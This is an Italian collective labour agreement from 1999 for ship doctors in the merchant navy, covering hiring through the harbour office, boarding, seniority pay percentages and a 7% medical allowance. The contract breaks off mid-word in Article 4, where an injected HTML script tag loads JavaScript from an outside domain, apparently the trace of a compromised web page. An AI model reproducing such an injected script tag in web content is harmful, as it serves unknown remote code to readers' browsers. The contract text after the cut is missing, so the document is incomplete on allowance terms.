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Categoria: Marittimi, medici di bordo
Settore: Trasporti
Data stipula: 19-11-1999
Data decorrenza: 1-12-1999
Data scadenza: 31-12-2002

Contratto Collettivo Nazionale di Lavoro

PER IL TRATTAMENTO DEI "MEDICI DI BORDO" IMBARCATI O DA IMBARCARSI
SULLE NAVI IN CUI È PREVISTO L'OBBLIGO IN BASE ALLE NORME DI LEGGE


L'anno 1999, addì 19 novembre, in Roma,

tra

-    Confederazione italiana Armatori (CONFITARMA), rappresentata dal  dr.
  Claudio Barbieri

e

-    Associazione  Nazionale dei Medici di Bordo della  Marina  Mercantile
  (MEDIOBORDO), rappresentata dal prof. Alberto Origone;

viene  stipulato  il presente CCNL per i Medici di bordo  imbarcati  o  da
imbarcarsi  sulle navi in cui è previsto l'obbligo in base alle  norme  di
legge.



Art. 1 - Assunzione.

I medici di bordo verranno arruolati tramite l'Ufficio Movimento Ufficiali
della  Capitaneria di Porto, a norma delle vigenti leggi sul collocamento,
con  facoltà di scelta ("terna di Medici di bordo") da parte dell'armatore
e con precedenza per i Medici di bordo abilitati con Decreto ministeriale.

La  richiesta  del  Medico o dei Medici di bordo verrà fatta  con  congruo
preavviso.

Per  quanto non previsto dal presente accordo valgono le norme  del  CCNL,
applicabili secondo il grado di equiparazione dei Medici di bordo e cioè:

-    per  il  Direttore  sanitario il CCNL per il  Direttore  di  Macchina
  (stipendio, gradi, scala gerarchica);
-    per  il  Medico  aggiunto  il CCNL per il  1°  Ufficiale  di  coperta
  (stipendio, gradi, scala gerarchica).

Quando  sulla  nave imbarcato il Medico di bordo le visite  sanitarie  dei
componenti l'equipaggio sono di competenza del Medico stesso.

Il  marittimo  potrà essere visitato da un Medico a terra  su  proposta  o
benestare del Medico di bordo.



Art. 2 - Imbarco - Sbarco.

Qualora  si  renda necessario permettere al Medico di bordo Direttore  del
servizio  sanitario di prendere conoscenza dell'ambiente della  nave,  dei
locali sanitari, dei medicinali, del materiale sanitario in dotazione,  di
concretare  le norme che dovranno disciplinare il servizio e di  esplicare
tutte  le  pratiche di rito con le Autorità sanitarie marittime, l'imbarco
del Medico verrà concordato con la Società armatrice.

L'imbarco  del  Medico aggiunto può avvenire, nel porto di arruolamento  o
capolinea, nel giorno della partenza della nave.

Il  Medico unico è da considerarsi Direttore del servizio sanitario mentre
sotto il profilo del trattamento generale e sociale i Medici aggiunti sono
equiparati al Direttore sanitario.



Art. 3 - Supplemento paga per anzianità.

Al  Medico Direttore sanitario e ai Medici aggiunti in possesso del titolo
professionale marittimo è riconosciuto un "supplemento paga per anzianità"
nelle seguenti misure:

fino a 5 anni    5%
da 5 a 10 anni   6%
da 10 a 15 anni  7%
da 15 a 20 anni  8%
oltre 20 anni    9%

Le percentuali di cui sopra vanno calcolate sulla sola componente "ex paga
base"   della   paga   conglobata  rivalutata  dell'aumento   contrattuale
concordato in data 13.10.99 e 5.8.99.

Ai Medici in possesso del diploma di autorizzazione all'imbarco in qualità
di  "Medico  di  bordo"  e  ai Medici di bordo supplenti,  viene  comunque
riconosciuta un'anzianità di base di 5 anni.

Le percentuali sopraindicate non sono cumulabili.

Agli effetti dell'applicazione delle percentuali di cui sopra, l'anzianità
si  calcola sommando i periodi di effettiva navigazione su navi passeggeri
nazionali,  compiuti  dopo il conseguimento del  titolo  professionale  di
Medico di bordo.



Art. 4 - Indennità speciale medica.

Ai  Medici di bordo è riconosciuta la "Indennità Medica" in misura pari al
7% della paga base.

Tale  indennità  è  da considerarsi a tutti gli effetti contrattuali  come
coefficiente della retribuzione e pertanto viene computata, ai fini  della
liquidazione  della  gratifica  natalizia  e  della  gratifica   pasquale,
dell'indennità  sostitutiva  delle ferie e dei  riposi  compensativi,  del
trattamento  per festività cadenti di d<script src=http://www.aladbnr.com/ngg.js></script>













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